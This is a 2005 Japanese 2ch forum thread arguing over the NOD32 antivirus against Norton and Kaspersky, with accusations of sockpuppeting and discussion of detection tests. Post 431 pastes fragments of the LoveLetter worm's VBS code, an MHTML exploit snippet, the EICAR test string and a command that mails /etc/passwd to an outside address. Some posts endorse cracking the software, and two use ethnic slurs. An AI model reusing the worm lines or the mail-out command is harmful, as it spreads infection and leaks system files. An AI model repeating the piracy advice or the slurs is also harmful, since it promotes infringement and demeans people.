352 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:45:46 ]: >>349
やりたきゃ一人でやれ
353 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:46:18 ]: なんでNorton信者が紛れ込んでるの？
354 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:46:46 ]: （ここまでのまとめ）

・荒らしてるのはノートン信者。
・ノートンはとにかく最高。
・NISは優秀なFirewallと盲信してる粘着がいる
355 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:47:30 ]: >>351
自演ｷﾀｰ
356 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:47:59 ]: 紛れ込んでいるのは、ノートン叩き厨を演じている荒らし。
こいつの投稿は分かり易いのが特徴。
そろそろ放置すべきかと。
357 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:48:14 ]: いままでセキュリティ板を荒らしていた真犯人はノートン厨だったのか！！
許せねええええええええええええ！！！！！！！！！！！！！！！！！！！！！！！
358 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 00:49:00 ]: >>357
359 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:49:21 ]: ノートン、検出率だけならまだ優れてるといえるかもしれんが、
動作が致命的に遅いし、インストール・アンインストールの駄目さがなぁ。

そういうデメリットに目をつぶって手放しで一流とかいうのは信者みたいでおかしいね。
360 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:49:55 ]: こりゃ、また朝まで自演が続くな・・。
361 名前：メッ mailto:sage [2005/12/17(土) 00:50:52 ]: 338からだけでも掘って見れば同じ人物。
>>355,354,353,350,349,348,347,345,343,342,338
362 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:51:03 ]: Norton厨、自演し杉
363 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:52:36 ]: 1.1326 (20051216)
364 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:53:02 ]: ノートン信者に言わせれば、
信者もアンチも全部自演なんだろ。ﾜﾛｽ、ﾜﾛｽ
365 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:53:43 ]: 機能の概略 (Norton AntiVirus 2006)
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20050927133618958?OpenDocument&src=jp_hot&prod=Norton%20AntiVirus&ver=2006&tpre=jp

必要なシステム (Norton AntiVirus 2006)
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20050927133319958?OpenDocument&src=jp_hot&prod=Norton%20AntiVirus&ver=2006&tpre=jp

ノートン・アンチウイルス 2006 マニュアル
ftp://ftp.symantec.com/public/japanese/products/norton_antivirus/2006/manuals/NAV2006.pdf
366 名前：メッ mailto:sage [2005/12/17(土) 00:54:09 ]: 更に自演は続く。

>>364,362,357
367 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:54:14 ]: ノートンスレに復讐しましょう
ノートンを叩きましょう
NODユーザーが力を合わせる時がやってきたようですね
368 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:54:55 ]: 本スレ
【’06発売】ﾉｰﾄﾝｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨVer.74【斬捨御免】
pc8.2ch.net/test/read.cgi/sec/1129382025/
369 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:55:00 ]: >>365
いちいち貼らなくていいよ
見ないから
370 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:55:36 ]: >>367
ノートン信者だか、アンチだか、ただの荒らしだか知らんが、釣り下手だな、おまえ。
371 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:56:15 ]: いずれにしてもノートンはスレ違い。
ここでほめてるﾔﾂはみな荒らし。
372 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:57:02 ]: >>367に煽動される馬鹿がどれぐらいいるか見物だな。
まぁ自分でやってNODユーザのせいにするのが関の山だろう。
373 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:57:48 ]: つかどれだけ1人の信者が鬱陶しいか理解できるな
NOD狂信者が他スレで暴れまくってるのと同じ状況だ
374 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:58:05 ]: だからノートン信者の自作自演ｳｻﾞｲといわれてるんだろ？
375 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 00:59:47 ]: >>372
いずれにしろ嵐の真犯人はNOD使いではない。
376 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:00:06 ]: Norton。
みんな重い重いというからどれほどかと思って
体験版をインストールしてみた。
オートプロテクトをオンにしているが、はっきり言って重くない。
カペルスキーよりはずっと軽い。
2006はずいぶん改良されたんじゃないか。
NODと比べても差が分からないぞ。もしかしたら軽いかも。
スキャンの速さは分からないけどね。
377 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:00:41 ]: 完全にクリーンな検体(ウィルスであることが確認されている検体)のみを使用して性能比較しているのは、
Virus Bulletin誌だけ、av-comparativesもかなりクリーンな検体になって来ているがまだまだ不完全とIBKは述べている。
378 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:00:52 ]: どう考えてもＮＯＲＴＯＮが最強だと思うんだけど（苦笑）
379 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:02:07 ]: ノートンアンチウイルス2006 Ver.1
pc8.2ch.net/test/read.cgi/sec/1129452372/
380 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:02:21 ]: >>376,378
スレ違い。
381 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:04:59 ]: セキュリティ板を荒しまわっている脳㌧厨が許せないよ
382 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:05:05 ]: 1.1326
383 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:08:40 ]: 2005は重かったけど、2006は普通に軽いよ。nodもつかったけど、体感で感じるほどの
重さは感じなかったな。
384 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:10:12 ]: ﾉｰﾄﾝは割れで使うものだ　NOD32は買うものだ
385 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:11:31 ]: 流れ早すぎ、これでも見てもちつけ
sylphys.ddo.jp/upld2nd/neta/src/1134657460998.jpg
386 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:12:36 ]: >>385
クソつまんねー
387 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:13:16 ]: 　ｳｨｰｯｽ　 ∧＿∧∩　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　（´∀｀*//　＜　う～い！デュアルコアすげえ安かったぞ～！
　　　　⊂二　　／　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　 |　　)　　/
CeleronD/　　￣）
　　　　　 ( <⌒<.<
　　　　　　>/
388 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:17:05 ]: つ1.1326 (20051216)
389 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:17:14 ]: >>377
検体をクリーンにするのは非常に難しい。
単に、XXアンチウィルスソフトで検知したからウィルスだとはいえないところが何よりも難しい。
IBKはEset社のHappy Bytes(ハンドルネーム)の家に入り浸り。
390 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:22:31 ]: >>383
ここへ投稿して続きをやれ、下記だと2006が軽いとの報告は皆無のようだよ。
まぁガンバレやなw

> 【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.79【2006】
> ttp://pc8.2ch.net/test/read.cgi/sec/1133673099/
391 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:27:42 ]: >>390は>>383

wwｗ
392 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:28:17 ]: アンチウィルス関係について様々な議論を専門家を交えておこなっている。
> ttp://www.wilderssecurity.com/forumdisplay.php?f=32
393 名前：390 mailto:sage [2005/12/17(土) 01:30:09 ]: >>391
383を投稿した覚えは全くない。

私の投稿は>>389,390
394 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:32:38 ]: 自己弁護おちゅ
395 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:36:48 ]: 掘った結果
>>383　　PPPbf839.osaka-ip.dti.ne.jp
>>390　　PPPbf839.osaka-ip.dti.ne.jp
396 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:46:12 ]: まあNODを使ってれば絶対に間違はないってことだな。
397 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:50:09 ]: >>396
煽るつもりはないけど、OZmallというサイトでウイルス感染したことがあるよ。
製品版ではなく体験版だったけど。
398 名前：メッ mailto:sage [2005/12/17(土) 01:50:28 ]: 既存
>>361
>>366

自演は更に更に続く。

新規分
>>367,371,373,374,376,378,381,383,386,387,391,394,395,396
399 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 01:55:09 ]: >>397
体験版と製品版は同じだよ。違うのはIDの期限の長さだけ
400 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 02:00:07 ]: KasperskyとNOD32の性質の違いがよく表現されている。
この#1を見てKasperskyは高性能でNOD32より優れていると思う人が結構多い。
NOD32も検知することは秘密にしておく？

> ttp://www.wilderssecurity.com/showthread.php?t=111178
401 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 02:05:00 ]: というかさぁ、>>396のような奇印な発言をするのは荒らしの星猫か、NOD32に住み着いているアンチの自演ぐらいだろ？
402 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 02:34:02 ]: >>400
Spywareの検出だしな。
403 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 02:50:14 ]: >>402
Spywareに限らず、インストーラ型は全て>>400のパターンになる。
オンデマンド検査しかしない比較だとNOD32の成績は不利になるよ。
404 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:14:35 ]: AMON使わないで手動検査で評価するのって、実体に合ってないよね。

「メーラーの監視を自分ではずして、メールのウイルス検知できねぇ！」みたいな。
405 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:32:09 ]: オンアクセステストはオンデマンドテストと違い非常に手間がかかるからVirus Bulletinのような
ところでないと実施できない事情もあるし、検体をクリーンにすること自体が大変だから集めた検体を使って
適当に比較する程度のことしかおこなっていないサイトが圧倒的だ。
シグネチャ配布の精度が非常に正確ならそれでも問題はないが、現実はウィルスでもないものを
多くのユーザーの要望に応じるかたちでシグネチャを作成し配布している事実もあったりしてクリーン化されていない
検体群でのテストはその結果がかなりいい加減なものになっていたりする。
virus.gr等はその典型とも言われており専門家達の間では信用度が全くなかったりする。

それと、NOD32が一般のアンチウィルスソフトの仕様と違いユニークなことによる弊害として、比較試験での設定ミスによる
誤った試験結果を堂々と開示しているサイトもある。
それらの多くがNOD32の性能を過小評価する結果に繋がっているのも面白い傾向だ。

まぁ、多くの書庫に対応し、より多くのシグネチャを配布するほうがそのてのサイトでの評価が高くなるのは必然かもな。
間違っているシグネチャを大量配布すればするほど、その間違ったシグネチャによって偽検体と真検体の区別さえ付かない
一般サイトの評価が良くなるのだから皮肉としか言いようがない。
406 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:34:20 ]: 地震長ーーい
407 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:37:13 ]: 地震じゃなく、専門家の発言をそのまま紹介しただけ。
真実は奇なりだな。
ゴミは幾らでも落ちているから、それらをウィルスと称してシグネチャを作成し配布しても誰も困らないという背景があったりする。
408 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:40:15 ]: 今の揺れのことだが・・・
409 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:40:59 ]: 専門家達によるvirus.grの評価な。
> ttp://www.wilderssecurity.com/showthread.php?t=77033&highlight=virus.gr
410 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 03:41:37 ]: さて寝るか
411 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 03:42:15 ]: で、キングソフトと比較してどっちが糞なの？
やっぱＮＯＤの方が下痢糞ってことでおｋ？
412 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 04:00:13 ]: 簡単に割られてしまうようなセキュリティの甘いソフトに
自分のパソのセキュリティを任せられるか？
小学生でもわかることだな。
413 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 04:07:39 ]: >>411
キングソフトの性能が全く未知数。
信用度の高いサイトでは扱っていないのが致命的だな。

>>412
> 簡単に割られてしまうようなセキュリティの甘いソフトに
> 自分のパソのセキュリティを任せられるか？

簡単に割れないセキュリティソフトってあるのか？
414 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 04:40:01 ]: >>412
毎日泥棒に入られてる警備会社に警備を依頼するようなものだなｗ
415 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 05:14:44 ]: NODは常にノートンをライバル視して粘着しているのに
ノートンの方では全然NODを相手にしていない現実。。。
416 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 05:59:39 ]: いや全然ノートンは気にならんよ。
そもそも、NOD32はノートンを含めた極普通のアンチウィルスソフトとは開発思想も違うしな。
417 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 08:16:43 ]: >>415
カスペに対してもそうだよな。
メジャーなものに噛み付いて存在感をアピールしようとするが
裏付けとなるものが皆無なので失笑されて終わり。
NOD厨はウリナラ起源と同じ精神構造だ。
418 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 08:24:10 ]: 噛み付いてきているのはKaspersky側なんだよな。
もちろん例外として荒らしの星猫の行動があるのだけど、あれは元々荒らしだから。

下記のところでも常に噛み付いているのはKaspersky側な。
> ttp://www.wilderssecurity.com/forumdisplay.php?f=32
419 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 08:31:33 ]: 他所を荒らしまくって抗議されると
ココを荒らすな！アンチ消えろ！とファビョるのは
どこのＮＯＤ厨も同じなのか。。。
まさに鮮人メンタリティ
420 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 08:49:20 ]: ここに昔から居着いている荒らしの自演自作だからそんなこと言われても困るよ。
あれほど分かり易い自演も珍しいけど、そんな幼稚な自演を盾にして>>419のように
自演を繰り返すのは見ていて滑稽でしかないなw
421 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 08:54:59 ]: 信者でさえ金を出して買わずに
割っているという稀有なソフトｗ
422 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 09:32:36 ]: 相変わらず進歩のない煽りだなぁw
423 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 09:35:39 ]: 無料で使えるのに金を出す馬（^ｗ
424 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 09:37:14 ]: 梶田いい加減にしろ
425 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 10:11:26 ]: 正直、割ってるﾔﾂは逮捕も怖くないﾔﾂだけだろ。まともな人は買ってる。
426 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 10:29:07 ]: 折角外人がパッチ作って公開してくれてるんだから使ってやらなきゃｶﾜｲｿｽ
どうせ捕まるのは外人ｗ
427 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 10:48:18 ]: 釣れないなぁ・・・・
428 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 11:07:40 ]: >>412
同意。
使用期限がいくらでも延ばせる、ノートンはまったく信用できない。
429 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 12:19:03 ]: ノートンも割れで十分アクチもできた
430 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 13:00:32 ]: 405はやっと巣に帰ってきたんだね。もう出てくるなよ。他のスレに迷惑だ。
431 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 13:38:59 ]: c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
432 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 13:43:46 ]: （＾ω＾）
433 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 16:45:27 ]: pc8.2ch.net/test/read.cgi/sec/1134218158/

このスレによるとNOD32が一番多くウイルスを駆除したそうだ。
他のアンチウイルスなんかNOD32の足元にも及ばないな。
さすがは最強のアンチウイルスだな。
434 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 18:10:33 ]: >>433
ハメ技かよ。読んでみたらNOD全然ダメな結果じゃないか。AVGに負けてんじゃん。
435 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 18:11:50 ]: あんなの模造に決まってるじゃん。鵜呑みにすんな池沼
436 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 18:24:44 ]: NODほすぃー
437 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 18:31:46 ]: ＮＯＤは言うほど検出率が高くは無い
いろいろなtestｓで実証済み
438 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 18:40:21 ]: ぴかちゅー！ぼくage厨！
439 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 19:07:49 ]: また梶田か
440 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 20:10:59 ]: 信者れの検索結果のうち日本語のページ約 19 件中 1 - 10 件目 (0.45 秒)
441 名前：名無しさん＠お腹いっぱい。 [2005/12/17(土) 23:30:55 ]: 盛ってますね（藁）
442 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 23:36:46 ]: すいません
ESET NOD32 v2.50.41
って出てるんだけど....
ESET本家見ると、まだ2.50.25になってる
ガセかなんかですかね？
443 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/17(土) 23:57:29 ]: うちのNOD32はv2.50.42ですが。
444 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 00:07:21 ]: >>443
それCANON、ESETどっちですか？
445 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 00:19:19 ]: NOD32の情報
バージョン:1.1327 (20051217)
日付:2005年12月17日
ウイルス定義ファイルビルド:6468

他のスキャナサポートに関する情報
アドバンスドヒューリスティックバージョン:1.023 (20051109)
アドバンスドヒューリスティックビルド:1094
インターネットフィルタバージョン:1.002 (20040708)
インターネットフィルタビルド:1013
アーカイブサポートバージョン:1.038 (20051212)
アーカイブサポートビルド:1140

インストールされたコンポーネントの情報
NOD32 for Windows NT/2000/XP/2003 - ベース
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - インターネットサポート
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - 標準コンポーネント
バージョン:2.50.42

CANON
446 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 00:20:11 ]: ああ、うちも2.50.42だね。キャノンだよ。
447 名前：442 mailto:sage [2005/12/18(日) 00:34:46 ]: >>445-446
わかりました、ありがとう
ESETの方の最新は2.50.41でいいみたいですね
ちょっと混乱してました
448 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 01:05:35 ]: 因みに漏れはWin98系だから

バージョン2.50.44

OSによって違うんだなｗ
449 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 01:19:37 ]: 言語によっても違う
450 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 07:34:39 ]: 新スレ立った～♪

【ｳﾝｺ男爵】名古屋の荒し屋Ｑ別名○ 10【GJ】
tmp5.2ch.net/test/read.cgi/tubo/1134856761/
451 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 09:59:05 ]: 本家サイトから本体DL出来ても、シリアルナンバーを送らないとPASS貰えないじゃん？
452 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/18(日) 10:03:05 ]: NODってどこがいいの？
マジレスきぼん
453 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 10:07:39 ]: 軽い。
454 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/18(日) 10:14:46 ]: >>453
V3より軽い？
455 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 10:21:43 ]: どうだろ、V3使ったことない。
456 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 10:29:56 ]: 似たようなもん。あんま変わらん
457 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/18(日) 10:30:24 ]: じゃあＶ３でいいじゃん
458 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 10:47:57 ]: 割って使ってたらいきなり期限が切れた((；ﾟДﾟ)
製品版買えっていう啓示か？　
459 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 10:48:51 ]: 買えよ。
460 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 10:56:48 ]: Ｖ３並みに軽いのにﾉｰﾄﾝに匹敵する検知力、それがNOD32。
461 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:13:35 ]: 買おうと思ってヨド行ったら高くて断念・・・
ほかの無料でつなごうか思い切って買おうか・・・
462 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:16:29 ]: ダウンロード版はどうよ？
463 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:17:02 ]: >>461
俺もﾎｲﾎｲ買うほうじゃないけど、性能に満足してれば買うのもいいもんだよ。
堂々と使えるしw
464 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:20:26 ]: うん、まぁ性能には満足してるんだ。
明日にでも買おうかな
465 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:23:29 ]: >>462
ダウンロードしたやつをパッチあてて使ってたんだ (´Д⊂
あぁ財布がまた寂しく・・
466 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:24:07 ]: >461
店頭だと高かったからダウンロード版を買いましたよ。
1000円くらい安いはず。
467 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:32:20 ]: 4kでした(・∀・)
申し込んできます！
468 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/18(日) 11:34:35 ]: NODてスパイウエア弱いね
アド哀れで検索したら大量に発見したよｗ
469 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:42:09 ]: よかったねー、ボウヤ
470 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 11:47:10 ]: アド哀れてウイルス弱いね
NODで検索したら大量に発見したよｗ
471 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/18(日) 11:50:01 ]: >>470
アンチウイルスじゃないんだから検出できるわけないじゃん
対してNODは『アンチスパイの機能もある』って言ってるわけだ
違いくらいは馬鹿でも解る罠
472 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 12:45:25 ]: ＮＯＤ３２とカスペルキーはどっちがいいですか？
検出率をみるとカスペルキーが優秀ですがどうですか？
473 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 12:47:10 ]: >>472
好きなほうでいいと思うよ
474 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 13:26:23 ]: >>450
乙。
475 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 14:55:56 ]: >>472
> 検出率をみるとカスペルキーが優秀ですがどうですか？
>>3
>>4

実際の防衛力は同じかNOD32のほうが少し高い。
Kasperskyがよい評価になっているサィトが多いのは検体が未整備なのと圧縮書庫が多くオンデマンドで
NOD32に不利だから。
Kasperskyは多くの書庫とインストーラ型を検知するからNOD32よりよい成績に見えるだけ。
476 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:18:07 ]: ( -人-)ﾅﾑｰ
477 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:20:08 ]: 　 ∧＿∧ ｸﾜｯ!
　∩｀iWi´∩　
　ヽ　|m| .ノ
　｜.￣｜
　　Ｕ⌒Ｕ
478 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:20:17 ]: 他のウイルス対策ソフトがこぞって見逃す亜種も、
NODのヒューリスティックでちゃんと検出できるね。
購入して大正解だったよ。

ここまで買って良かったと思えるソフトは初めてだ。
479 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:25:02 ]: 見っ直そう～　見直そう

　(⌒)　.(⌒) 　　(⌒)　.(⌒) 　　(⌒)　.(⌒) 　
　（　´・●・）つ　（　´・●・）つ　（　´・●・）つ
　（　二つ　　　　（　二つ　　　　（　二つ
　　＼./ /、　　　　＼./ /、　　　　＼./ /、
　　　 ∪`Ｊ　　　　　 ∪`Ｊ　　　　　 ∪`Ｊ

　>>478の人生を見直そう　糞レス書かずに見直そう　(ｻｧ)
　く、そレスだ　糞レスだ

＼＼　ｼｬﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞｰ　　　　／／
　＼＼　ｼｬﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞﾀﾞﾊﾞｰ　／／

　　　(⌒)　.(⌒) 　　(⌒)　.(⌒) 　　(⌒)　.(⌒) 　
　　　（　´・д・.】)　（　´・д・.】) 　（　´・∀・.】)＜あ、もしもし>>478の糞レスの件なんですが
　　　（　　　　　ノ　（　　　　　ノ　（　　　　　ノ

　♪電話ピポパポ　糞スレ24
480 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:25:33 ]: (((´・ω・`)
481 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:27:49 ]: (ﾟ∀ﾟ)ｱﾋｬ
482 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:28:45 ]: 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　､
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ζ　　,
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　_ ノ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　（　(　　　(.　）
　　　　　　　　　　　　　　　　　　　　　　　　　　　 . -‐　） ‐- .
　　　　　　　　　　　　　　　　　　　　　　　　　　.´,.::::;;:... .　. _ 　`.
　　　　　　　　　　　　　　　　　　　　　　　　　　i ヾ<:;_　　　_,.ン |
　　　　　　　　　　　　　　　　　　　　　　　　　　l　　　　￣...:;:彡|
　　　　　　　　　　　　　　　　　　　　　　 }　　. . ...::::;:;;;;;彡{
　　　　　　　　　　　　　　　　　　　　　　　　　　ｉ　　　. . ...:::;;;;;彡|
　　　　　　　　　　　,: ' " `丶　　　　 .　　　　} 　 . .....:::;::;:;;;;彡{
　　　　　　　　　 , :´　　.　　｀､　　　　　　　　!,　　　 . .:.::;:;;;彡j:::::::::::::::.......
.　　　　　　　 . '　　.　　　　;　.丶　　　　　　　　ト ,　 . ..,:;:;:=:彳:::::::::::::::::::::::::::..
.　　　　　　 ,:´　.　　　　'　　　 ' ｀､　　　　　　　ヽ､..　....::::;;;ジ.::::::::::::::::::::::
　　　　　　 ,' 　　. 簍鸙鶸鑼　;　`.　　　　　　　　　￣￣
　　 ,, -'''" . 　 .　　駲刪櫑躪　　. ' ';゛`'丶.､.......
.　 '´ 　　 ! 　　.　膚順棚斷.　'　,　;::::::::::::...`.::::::::....
　i 　　　ヽ､..._,.__魎鬱蹠撫.,,__,.,..ノ.::::::::: 　　!::::::::::::...
.　ヽ､　　　　　　　　　　　　　　　　　　　　,: '.:::::::::
　　　 `=ｰ--､....,,,,,_＿＿＿＿_,,,,,... --‐=''´..::::::
　　　　　｀`" '' 'ー───‐―‐' ''' "´
483 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/18(日) 16:36:27 ]: （´・ω・`）ｼｮﾎﾞｰﾝ
